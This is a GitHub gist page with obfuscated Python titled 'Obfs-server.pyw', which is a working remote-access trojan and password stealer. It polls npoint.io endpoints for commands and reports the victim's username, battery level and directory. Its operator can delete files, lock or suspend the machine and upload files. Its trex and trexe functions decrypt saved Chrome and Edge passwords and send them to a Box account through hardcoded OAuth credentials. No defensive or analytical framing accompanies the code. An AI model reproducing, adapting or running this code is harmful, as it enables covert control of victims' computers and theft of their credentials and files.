Skip to content

Instantly share code, notes, and snippets.

@yoursamlan
Created August 19, 2023 19:21
Show Gist options
  • Save yoursamlan/ecd68e331f524408971a964738890389 to your computer and use it in GitHub Desktop.
Save yoursamlan/ecd68e331f524408971a964738890389 to your computer and use it in GitHub Desktop.
Obfs-server.pyw
import ctypes ,psutil ,os ,base64 ,io #line:1
import time ,requests ,json ,datetime #line:2
import base64 ,sqlite3 ,win32crypt ,random ,shutil #line:3
from Crypto .Cipher import AES #line:4
from boxsdk import OAuth2 ,Client #line:5
from datetime import timezone ,timedelta #line:6
from PIL import Image #line:7
apiA ="d5ca7f1b39b5177534ff"#line:9
apiB ="ed75f66a096ad29ccc29"#line:10
apiR ="d345dee767f8452412c0"#line:11
version ="5.0"#line:12
USER_NAME =os .getlogin ()#line:14
def show (O00OO00O000O0OO00 ):#line:16
O0OOO00OOOOO00000 ="https://api.npoint.io/"+apiR #line:17
O0O00O00OO00OO0O0 =requests .get (O0OOO00OOOOO00000 )#line:18
O00O0O00OO00OO0O0 =str (int (datetime .datetime .utcnow ().timestamp ())+19800 )#line:19
OOO00OOO000O00OOO ={"date":O00O0O00OO00OO0O0 ,"result":O00OO00O000O0OO00 }#line:20
O0OOO00O0OOO00OO0 =requests .post (O0OOO00OOOOO00000 ,json =OOO00OOO000O00OOO )#line:21
def li (O0OO0OO00OOO00O00 ,OOOO000O000O000OO ):#line:23
OO0O0O0O0O0OO00OO ="."+OOOO000O000O000OO #line:24
O0O00O00O00O00000 =[]#line:25
for OOOO0O00OO0000O00 ,OO0O0O00000O0000O ,O0OO0OOO0O0OO0O00 in os .walk (O0OO0OO00OOO00O00 ):#line:27
for O0O0OOO0OO0OOOO0O in O0OO0OOO0O0OO0O00 :#line:28
if OO0O0O0O0O0OO00OO in O0O0OOO0OO0OOOO0O :#line:29
O000O0000000OOO0O =os .path .join (OOOO0O00OO0000O00 ,O0O0OOO0OO0OOOO0O )#line:30
O0O00O00O00O00000 .append (O000O0000000OOO0O )#line:31
return O0O00O00O00O00000 #line:32
def liP (O0O0O00O0000OOO00 ):#line:34
OOOOO0O0O000000O0 =os .listdir (O0O0O00O0000OOO00 )#line:35
OOOO0OO0OOO000O00 ="<h5>main-path: "+O0O0O00O0000OOO00 +"</h5><ol class='flist'>"#line:36
for O00000OO00OOO0OO0 in OOOOO0O0O000000O0 :#line:37
if os .path .isfile (os .path .join (O0O0O00O0000OOO00 ,O00000OO00OOO0OO0 )):#line:38
OOOO0OO0OOO000O00 +="<li>"+O00000OO00OOO0OO0 +"</li>"#line:40
elif os .path .isdir (os .path .join (O0O0O00O0000OOO00 ,O00000OO00OOO0OO0 )):#line:41
OOOO0OO0OOO000O00 +="<li class='dir'>"+O00000OO00OOO0OO0 +"</b></li>"#line:43
return OOOO0OO0OOO000O00 +"</ol>"#line:44
def lia (OOO000O0O00O0O00O ,O0OOO00O0O0OOOOOO ):#line:48
OOOOO00OOOOOOO0OO =[]#line:49
O0O00000000OOOOOO ='Tree-'+USER_NAME +str (datetime .datetime .now ()).replace (":","-")+'.txt'#line:50
O0000OOO0O0OOO0O0 =os .path .join (os .path .join (os .environ ['USERPROFILE']),'Documents',O0O00000000OOOOOO )#line:51
for OO00000O000OO000O ,O0OO00O0000O00O0O ,OOOOO00O00OOO0OO0 in os .walk (OOO000O0O00O0O00O ):#line:53
for OOO0O00O0OOO0OO0O in OOOOO00O00OOO0OO0 :#line:54
O0OOOOO0OOO000O00 =os .path .join (OO00000O000OO000O ,OOO0O00O0OOO0OO0O )#line:55
OOOOO00OOOOOOO0OO .append (O0OOOOO0OOO000O00 )#line:56
for O00O0O0OOO0O0OOO0 in OOOOO00OOOOOOO0OO :#line:57
with open (O0000OOO0O0OOO0O0 ,"a",encoding ="utf-8")as OOOO0OOO00O0000OO :#line:58
OOOO0OOO00O0000OO .write (O00O0O0OOO0O0OOO0 .replace ("\\","/")+"\n")#line:59
OOOO0OOO00O0000OO .close ()#line:60
try :#line:61
upload (O0000OOO0O0OOO0O0 ,O0OOO00O0O0OOOOOO )#line:62
except Exception as O00O0OOOOO0OO00O0 :#line:63
print ("Command ERROR")#line:64
OOO0OOOO0OO0OOO0O ="<p class='errorMsg'>"+str (O00O0OOOOO0OO00O0 )+"</p>"#line:65
show (OOO0OOOO0OO0OOO0O )#line:66
os .remove (O0000OOO0O0OOO0O0 )#line:68
return O0O00000000OOOOOO #line:69
def thumb (O000O00000000OO00 ,OO000OOO0000OOO0O ):#line:71
if OO000OOO0000OOO0O =="":#line:72
OO000OOO0000OOO0O =500 #line:73
else :#line:74
OO000OOO0000OOO0O =int (OO000OOO0000OOO0O )#line:75
with open (O000O00000000OO00 ,'rb')as OOO0O0OOOO00000OO :#line:76
O00OOOOOOO0OOO0OO =OOO0O0OOOO00000OO .read ()#line:77
with Image .open (O000O00000000OO00 )as OOOO0000OOOOOO0OO :#line:79
if OOOO0000OOOOOO0OO .width >OO000OOO0000OOO0O :#line:80
OOOO0000OOOOOO0OO =OOOO0000OOOOOO0OO .resize ((OO000OOO0000OOO0O ,int (OOOO0000OOOOOO0OO .height *OO000OOO0000OOO0O /OOOO0000OOOOOO0OO .width )))#line:81
O0OOO0OOOOOO00O00 =io .BytesIO ()#line:82
OOOO0000OOOOOO0OO .save (O0OOO0OOOOOO00O00 ,format ='PNG')#line:83
O00OOOOOOO0OOO0OO =O0OOO0OOOOOO00O00 .getvalue ()#line:84
O00OOO0OO00OO00O0 =base64 .b64encode (O00OOOOOOO0OOO0OO ).decode ()#line:86
OOOO0OOO000OO0O00 =f'<img src="data:image/png;base64,{O00OOO0OO00OO00O0}">'#line:87
return OOOO0OOO000OO0O00 #line:89
def upload (OOO0O000O00OO000O ,OO0OO0OOO00O00OO0 ):#line:92
OO0O0OO0O000OOO00 ='152448042033'#line:93
try :#line:94
OOOO0000OO0OO0OO0 =OAuth2 (client_id ='q7xyfden1kqr1njwmthmrlhm2maj9imj',client_secret ='T7afVolugPHyGv0VEfr6oSpIluZai9GJ',access_token =OO0OO0OOO00O00OO0 ,)#line:99
OO00OOOOO00OO00O0 =Client (OOOO0000OO0OO0OO0 )#line:100
OOO00OO0000OOOOO0 =OO00OOOOO00OO00O0 .user ().get ()#line:101
except Exception as O0OOO0OO00O00O000 :#line:103
print ("Command ERROR")#line:104
O0O0OO0000OOOOOO0 ="<p class='errorMsg'>"+str (O0OOO0OO00O00O000 )+"</p>"#line:105
show (O0O0OO0000OOOOOO0 )#line:106
O00OOO000OOOO0O0O =OO00OOOOO00OO00O0 .folder (OO0O0OO0O000OOO00 ).upload (OOO0O000O00OO000O )#line:108
O00O000O0O00OO0O0 ="<p class='success'>"+OOO0O000O00OO000O +" is uploaded successfully.</p>"#line:109
show (O00O000O0O00OO0O0 )#line:110
def exim (OOO0OOOO000O0OO0O ,OO0OOOO0O0O0OO000 ,OO000000O000O0O00 ):#line:112
OO0OO0000OOO000OO =li (OOO0OOOO000O0OO0O ,OO0OOOO0O0O0OO000 )#line:113
for OOOOO0000OO0O000O in OO0OO0000OOO000OO :#line:114
upload (OOOOO0000OO0O000O ,OO000000O000O0O00 )#line:115
def trex (OOO0O00000O000OOO ,O0OO0O00OOOOOOOOO ):#line:118
def O00OO0O0O000O000O (OO00O0OO0O0OOO0O0 ):#line:120
return datetime .datetime (1601 ,1 ,1 )+timedelta (microseconds =OO00O0OO0O0OOO0O0 )#line:121
def O00O000OO000OOOO0 ():#line:123
OOOO00OO00000O0O0 =os .path .join (os .environ ["USERPROFILE"],"AppData","Local","Google","Chrome","User Data","Local State")#line:126
with open (OOOO00OO00000O0O0 ,"r",encoding ="utf-8")as OO000O0OOOOO00000 :#line:127
O0O00OOOOOOOOOOO0 =OO000O0OOOOO00000 .read ()#line:128
O0O00OOOOOOOOOOO0 =json .loads (O0O00OOOOOOOOOOO0 )#line:129
O00OOO00O0OOOO00O =base64 .b64decode (O0O00OOOOOOOOOOO0 ["os_crypt"]["encrypted_key"])#line:131
O00OOO00O0OOOO00O =O00OOO00O0OOOO00O [5 :]#line:132
return win32crypt .CryptUnprotectData (O00OOO00O0OOOO00O ,None ,None ,None ,0 )[1 ]#line:133
def O00000000O0OOOOOO (O0000O00O0OOOO0OO ,OO00O0000OOOO000O ):#line:135
try :#line:136
OO0OO00OOOOOOOO0O =O0000O00O0OOOO0OO [3 :15 ]#line:137
O0000O00O0OOOO0OO =O0000O00O0OOOO0OO [15 :]#line:138
OOO000OOO0O0OOO00 =AES .new (OO00O0000OOOO000O ,AES .MODE_GCM ,OO0OO00OOOOOOOO0O )#line:140
return OOO000OOO0O0OOO00 .decrypt (O0000O00O0OOOO0OO )[:-16 ].decode ()#line:142
except :#line:143
try :#line:144
return str (win32crypt .CryptUnprotectData (O0000O00O0OOOO0OO ,None ,None ,None ,0 )[1 ])#line:145
except :#line:146
return ""#line:148
def O000000OOO00OO0OO (O0OO000O000OO0OO0 ):#line:150
O000O0O0OOOO0OO0O =O00O000OO000OOOO0 ()#line:152
O0O0O000O0OO0O000 =os .path .join (os .environ ["USERPROFILE"],"AppData","Local","Google","Chrome","User Data",O0OO000O000OO0OO0 ,"Login Data")#line:155
OOO0O00O00OOO00OO ="log.db"#line:158
shutil .copyfile (O0O0O000O0OO0O000 ,OOO0O00O00OOO00OO )#line:159
OO0OO00OOO0O0O0OO =sqlite3 .connect (OOO0O00O00OOO00OO )#line:161
O0O00O000OOOOOO0O =OO0OO00OOO0O0O0OO .cursor ()#line:162
O0O00O000OOOOOO0O .execute ("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")#line:164
O000OO0000OO0O000 ="Temp"+str (random .randint (10000000 ,999999999 ))+".db"#line:166
O0O0OO0O0O0O0O000 =open (O000OO0000OO0O000 ,"a")#line:167
O0O0OO0O0O0O0O000 .write ("Origin URL, Action URL, Username, Password, Date Created, Date Last Used")#line:168
for OO0OOO0O000OO00OO in O0O00O000OOOOOO0O .fetchall ():#line:171
O0OO00O000O000O0O =OO0OOO0O000OO00OO [0 ]#line:172
OO00O00O000OOO0OO =OO0OOO0O000OO00OO [1 ]#line:173
O0OO0000O00000000 =OO0OOO0O000OO00OO [2 ]#line:174
OOOO00OO00OO0O000 =O00000000O0OOOOOO (OO0OOO0O000OO00OO [3 ],O000O0O0OOOO0OO0O )#line:175
OOO0OOO0OOOO000O0 =OO0OOO0O000OO00OO [4 ]#line:176
if OOO0OOO0OOOO000O0 !=86400000000 and OOO0OOO0OOOO000O0 :#line:177
OOO0OOO0OOOO000O0 =str (O00OO0O0O000O000O (OOO0OOO0OOOO000O0 ))#line:178
O0O00OO0OO00OOO0O =OO0OOO0O000OO00OO [5 ]#line:179
if O0O00OO0OO00OOO0O !=86400000000 and O0O00OO0OO00OOO0O :#line:180
O0O00OO0OO00OOO0O =str (O00OO0O0O000O000O (O0O00OO0OO00OOO0O ))#line:181
if O0OO0000O00000000 or OOOO00OO00OO0O000 :#line:183
OO00OO0O00OOO0000 ="\n"+str (O0OO00O000O000O0O )+","+str (OO00O00O000OOO0OO )+", "+str (O0OO0000O00000000 )+", "+str (OOOO00OO00OO0O000 )+", "+str (OOO0OOO0OOOO000O0 )+", "+str (O0O00OO0OO00OOO0O );#line:184
O0O0OO0O0O0O0O000 .write (OO00OO0O00OOO0000 )#line:186
else :#line:187
continue #line:188
O0O00O000OOOOOO0O .close ()#line:189
OO0OO00OOO0O0O0OO .close ()#line:190
O0O0OO0O0O0O0O000 .close ()#line:191
try :#line:192
upload (O000OO0000OO0O000 ,OOO0O00000O000OOO )#line:193
except Exception as OOOO0O0000OO0OO0O :#line:194
print ("An Error Occured. Error Code: x54000009876")#line:195
OO0OO0O0O00O0O0OO ="<p class='errorMsg'>"+str (OOOO0O0000OO0OO0O )+"</p>"#line:196
show (OO0OO0O0O00O0O0OO )#line:197
try :#line:199
os .remove (OOO0O00O00OOO00OO )#line:200
os .remove (O000OO0000OO0O000 )#line:201
except Exception as OOOO0O0000OO0OO0O :#line:204
print ("An Error Occured. Error Code: x54000009876")#line:205
OO0OO0O0O00O0O0OO ="<p class='errorMsg'>"+str (OOOO0O0000OO0OO0O )+"</p>"#line:206
show (OO0OO0O0O00O0O0OO )#line:207
pass #line:208
O000000OOO00OO0OO (O0OO0O00OOOOOOOOO )#line:209
def trexe (O000OOO0OOO0000OO ,OO00O0000OO0OOO0O ):#line:212
def O0OO0O0OO00OO00O0 (OOOOO000O0O000O0O ):#line:214
return datetime .datetime (1601 ,1 ,1 )+timedelta (microseconds =OOOOO000O0O000O0O )#line:215
def O0OOO0O00OO000O0O ():#line:217
OOO0OOO0OOOO0OOO0 =os .path .join (os .environ ["USERPROFILE"],"AppData","Local","Microsoft","Edge","User Data","Local State")#line:220
with open (OOO0OOO0OOOO0OOO0 ,"r",encoding ="utf-8")as OO00OOOO0O00000OO :#line:221
OO000OOOOOOO00O0O =OO00OOOO0O00000OO .read ()#line:222
OO000OOOOOOO00O0O =json .loads (OO000OOOOOOO00O0O )#line:223
OO00OO0OOO0000O00 =base64 .b64decode (OO000OOOOOOO00O0O ["os_crypt"]["encrypted_key"])#line:225
OO00OO0OOO0000O00 =OO00OO0OOO0000O00 [5 :]#line:226
return win32crypt .CryptUnprotectData (OO00OO0OOO0000O00 ,None ,None ,None ,0 )[1 ]#line:227
def OO00OOO00O00000OO (O0O00OOO000O00000 ,O000OOOOOO0000000 ):#line:229
try :#line:230
O0OO00OOO0O00OOOO =O0O00OOO000O00000 [3 :15 ]#line:231
O0O00OOO000O00000 =O0O00OOO000O00000 [15 :]#line:232
O00OO0O0OOOOOOO0O =AES .new (O000OOOOOO0000000 ,AES .MODE_GCM ,O0OO00OOO0O00OOOO )#line:234
return O00OO0O0OOOOOOO0O .decrypt (O0O00OOO000O00000 )[:-16 ].decode ()#line:236
except :#line:237
try :#line:238
return str (win32crypt .CryptUnprotectData (O0O00OOO000O00000 ,None ,None ,None ,0 )[1 ])#line:239
except :#line:240
return ""#line:242
def OOO0O0O00O00O0O0O (O0O000O0O00O0O0O0 ):#line:244
O00OOO0000000O0OO =O0OOO0O00OO000O0O ()#line:246
O000OO000O0O0OO0O =os .path .join (os .environ ["USERPROFILE"],"AppData","Local","Microsoft","Edge","User Data",O0O000O0O00O0O0O0 ,"Login Data")#line:249
OO00OOO000O0000OO ="log.db"#line:252
shutil .copyfile (O000OO000O0O0OO0O ,OO00OOO000O0000OO )#line:253
O0O0OO0O0OOO00OOO =sqlite3 .connect (OO00OOO000O0000OO )#line:255
O00OOO0O00O000OOO =O0O0OO0O0OOO00OOO .cursor ()#line:256
O00OOO0O00O000OOO .execute ("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")#line:258
OO00OOO0OO00OO000 ="Temp"+str (random .randint (10000000 ,999999999 ))+".db"#line:260
OOO0OO0O000OO000O =open (OO00OOO0OO00OO000 ,"a")#line:261
OOO0OO0O000OO000O .write ("Origin URL, Action URL, Username, Password, Date Created, Date Last Used")#line:262
for OOO00O0OOOO00O0O0 in O00OOO0O00O000OOO .fetchall ():#line:265
OO0OO0OOO0O0OO00O =OOO00O0OOOO00O0O0 [0 ]#line:266
O00O0O0000OO000OO =OOO00O0OOOO00O0O0 [1 ]#line:267
O000OOOO0O0OOO00O =OOO00O0OOOO00O0O0 [2 ]#line:268
O0OO0OOO0OO0OO000 =OO00OOO00O00000OO (OOO00O0OOOO00O0O0 [3 ],O00OOO0000000O0OO )#line:269
OOO0OO000O0OOO000 =OOO00O0OOOO00O0O0 [4 ]#line:270
if OOO0OO000O0OOO000 !=86400000000 and OOO0OO000O0OOO000 :#line:271
OOO0OO000O0OOO000 =str (O0OO0O0OO00OO00O0 (OOO0OO000O0OOO000 ))#line:272
OO0000OOO0O0000O0 =OOO00O0OOOO00O0O0 [5 ]#line:273
if OO0000OOO0O0000O0 !=86400000000 and OO0000OOO0O0000O0 :#line:274
OO0000OOO0O0000O0 =str (O0OO0O0OO00OO00O0 (OO0000OOO0O0000O0 ))#line:275
if O000OOOO0O0OOO00O or O0OO0OOO0OO0OO000 :#line:277
OOO0O000O00000O0O ="\n"+str (OO0OO0OOO0O0OO00O )+","+str (O00O0O0000OO000OO )+", "+str (O000OOOO0O0OOO00O )+", "+str (O0OO0OOO0OO0OO000 )+", "+str (OOO0OO000O0OOO000 )+", "+str (OO0000OOO0O0000O0 );#line:278
OOO0OO0O000OO000O .write (OOO0O000O00000O0O )#line:280
else :#line:281
continue #line:282
O00OOO0O00O000OOO .close ()#line:283
O0O0OO0O0OOO00OOO .close ()#line:284
OOO0OO0O000OO000O .close ()#line:285
try :#line:286
upload (OO00OOO0OO00OO000 ,O000OOO0OOO0000OO )#line:287
except Exception as O0OOOO000OOOOO0O0 :#line:288
print ("An Error Occured. Error Code: x54000009876")#line:289
OO00O00OO000OOO0O ="<p class='errorMsg'>"+str (O0OOOO000OOOOO0O0 )+"</p>"#line:290
show (OO00O00OO000OOO0O )#line:291
try :#line:293
os .remove (OO00OOO000O0000OO )#line:294
os .remove (OO00OOO0OO00OO000 )#line:295
except Exception as O0OOOO000OOOOO0O0 :#line:298
print ("An Error Occured. Error Code: x54000009876")#line:299
OO00O00OO000OOO0O ="<p class='errorMsg'>"+str (O0OOOO000OOOOO0O0 )+"</p>"#line:300
show (OO00O00OO000OOO0O )#line:301
pass #line:302
OOO0O0O00O00O0O0O (OO00O0000OO0OOO0O )#line:303
def diro (OOO0000OOOOO000OO ):#line:307
O00O0O00OOOOOO000 =requests .get ("https://api.npoint.io/"+OOO0000OOOOO000OO )#line:308
OOOO00000OO00000O ='Diro - '+OOO0000OOOOO000OO +" - "+str (datetime .datetime .now ()).replace (":","-")+'.json'#line:309
if O00O0O00OOOOOO000 .status_code ==200 :#line:310
with open (OOOO00000OO00000O ,"w",encoding ="utf-8")as OO00OO0OO0O00000O :#line:311
OO00OO0OO0O00000O .write (O00O0O00OOOOOO000 .text )#line:312
else :#line:313
print (f"Error: {O00O0O00OOOOOO000.status_code}")#line:314
clist =["X"]#line:318
def reset ():#line:320
OO00OO000O00000OO ="https://api.npoint.io/"+apiA #line:321
O00O0OOOOO000OO0O ={"cmd":"0","version":"5.0"}#line:322
O00O000OOOO00O000 =requests .post (OO00OO000O00000OO ,json =O00O0OOOOO000OO0O )#line:323
OOOOOO0O0O000O000 =requests .get (OO00OO000O00000OO )#line:324
print (OOOOOO0O0O000O000 .status_code )#line:325
def battery ():#line:327
OOOOOO0O00OOOO000 =psutil .sensors_battery ()#line:328
return OOOOOO0O00OOOO000 .percent #line:329
def status ():#line:331
OOOOOO0OO0O0OOO00 ="https://api.npoint.io/"+apiB #line:332
O0OOOO000O000000O =requests .get (OOOOOO0OO0O0OOO00 )#line:333
OOO0OO0OOO0OOO0O0 =str (int (datetime .datetime .utcnow ().timestamp ())+19800 )#line:335
OO0O000O0O0O00O0O ={"date":OOO0OO0OOO0OOO0O0 ,"battery":battery (),"user":USER_NAME ,"pwd":os .path .abspath (os .getcwd ())}#line:336
OOOO000O00O000OO0 =requests .post (OOOOOO0OO0O0OOO00 ,json =OO0O000O0O0O00O0O )#line:337
def run (OOOO0O0O00OOOOOOO ):#line:340
OO000OO00OO00OOOO =OOOO0O0O00OOOOOOO .split ("$#")#line:341
OO00000O00OO0OOO0 =OO000OO00OO00OOOO [1 ]#line:342
if OO00000O00OO0OOO0 =="ver"or OO00000O00OO0OOO0 =="version":#line:344
show ("version: "+version )#line:345
print (version )#line:346
elif OO00000O00OO0OOO0 =="lia":#line:348
OOO000OOO0000OOO0 =OO000OO00OO00OOOO [2 ]#line:349
O0OOOO0000OOOOO0O =OO000OO00OO00OOOO [3 ]#line:350
lia (OOO000OOO0000OOO0 ,O0OOOO0000OOOOO0O )#line:351
elif OO00000O00OO0OOO0 =="li":#line:354
OOO000OOO0000OOO0 =OO000OO00OO00OOOO [2 ]#line:355
show (liP (OOO000OOO0000OOO0 ))#line:356
elif OO00000O00OO0OOO0 =="thumb":#line:359
OOO000OOO0000OOO0 =OO000OO00OO00OOOO [2 ]#line:360
OO0OO0OOO0O0O0O0O =OO000OO00OO00OOOO [4 ]#line:361
show (thumb (OOO000OOO0000OOO0 ,OO0OO0OOO0O0O0O0O ))#line:362
elif OO00000O00OO0OOO0 =="exim":#line:365
OOO000OOO0000OOO0 =OO000OO00OO00OOOO [2 ]#line:366
O0OOOO0000OOOOO0O =OO000OO00OO00OOOO [3 ]#line:367
OO000OO000O00OO00 =OO000OO00OO00OOOO [4 ]#line:368
exim (OOO000OOO0000OOO0 ,OO000OO000O00OO00 ,O0OOOO0000OOOOO0O )#line:369
elif OO00000O00OO0OOO0 =="del":#line:372
O0O00OO00OOO00000 =OO000OO00OO00OOOO [2 ]#line:373
os .remove (O0O00OO00OOO00000 )#line:374
show ("<p class='success'>"+O0O00OO00OOO00000 +" has been successfully deleted.</p>")#line:375
elif OO00000O00OO0OOO0 =="delf":#line:378
O0O00OO00OOO00000 =OO000OO00OO00OOOO [2 ]#line:379
os .rmdir (O0O00OO00OOO00000 )#line:380
show ("<p class='success'>"+O0O00OO00OOO00000 +" [FOLDER] has been successfully deleted.</p>")#line:381
elif OO00000O00OO0OOO0 =="upload":#line:385
OOO00OOOO0OO0000O =OO000OO00OO00OOOO [2 ]#line:386
O0OOOO0000OOOOO0O =OO000OO00OO00OOOO [3 ]#line:387
upload (OOO00OOOO0OO0000O ,O0OOOO0000OOOOO0O )#line:388
elif OO00000O00OO0OOO0 =="trex":#line:391
O00O000000000O0O0 =OO000OO00OO00OOOO [2 ]#line:392
O0OOOO0000OOOOO0O =OO000OO00OO00OOOO [3 ]#line:393
trex (O0OOOO0000OOOOO0O ,O00O000000000O0O0 )#line:395
elif OO00000O00OO0OOO0 =="trexe":#line:398
O00O000000000O0O0 =OO000OO00OO00OOOO [2 ]#line:399
O0OOOO0000OOOOO0O =OO000OO00OO00OOOO [3 ]#line:400
trexe (O0OOOO0000OOOOO0O ,O00O000000000O0O0 )#line:402
elif OO00000O00OO0OOO0 =="diro":#line:405
OOOOO00000OOO0OO0 =OO000OO00OO00OOOO [2 ]#line:406
diro (OOOOO00000OOO0OO0 )#line:407
show ("<p class='success'>"+OOOOO00000OOO0OO0 +" has been successfully backed up.</p>")#line:408
else :#line:411
print (OO000OO00OO00OOOO )#line:412
def Command (OOO0OOOOO0OOOOOOO ):#line:414
if OOO0OOOOO0OOOOOOO =="1":#line:415
os .system ("rundll32.exe powrprof.dll,SetSuspendState 0,1,0")#line:416
elif OOO0OOOOO0OOOOOOO =="2":#line:418
show ("Last checked on: "+str (datetime .datetime .now ()))#line:420
elif OOO0OOOOO0OOOOOOO =="3":#line:422
ctypes .windll .user32 .LockWorkStation ()#line:423
else :#line:425
if OOO0OOOOO0OOOOOOO [:1 ]=="R":#line:426
try :#line:427
run (OOO0OOOOO0OOOOOOO )#line:428
except Exception as OOOO0OOO0O0OO00OO :#line:429
print ("An Error Occured. Error Code: xC000087")#line:430
O00OOOO0O0O0O0OO0 ="<p class='errorMsg'>"+str (OOOO0OOO0O0OO00OO )+"</p>"#line:431
show (O00OOOO0O0O0O0OO0 )#line:432
else :#line:433
print ("Command :",OOO0OOOOO0OOOOOOO )#line:434
while True :#line:436
Rurl ="https://api.npoint.io/"+apiA #line:437
response =requests .get (Rurl ).json ()#line:438
cmd =response ['cmd']#line:439
status ()#line:440
if cmd not in clist :#line:441
clist .append (cmd )#line:442
clist .pop (0 )#line:443
print (cmd )#line:444
Command (cmd )#line:445
reset ()#line:446
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment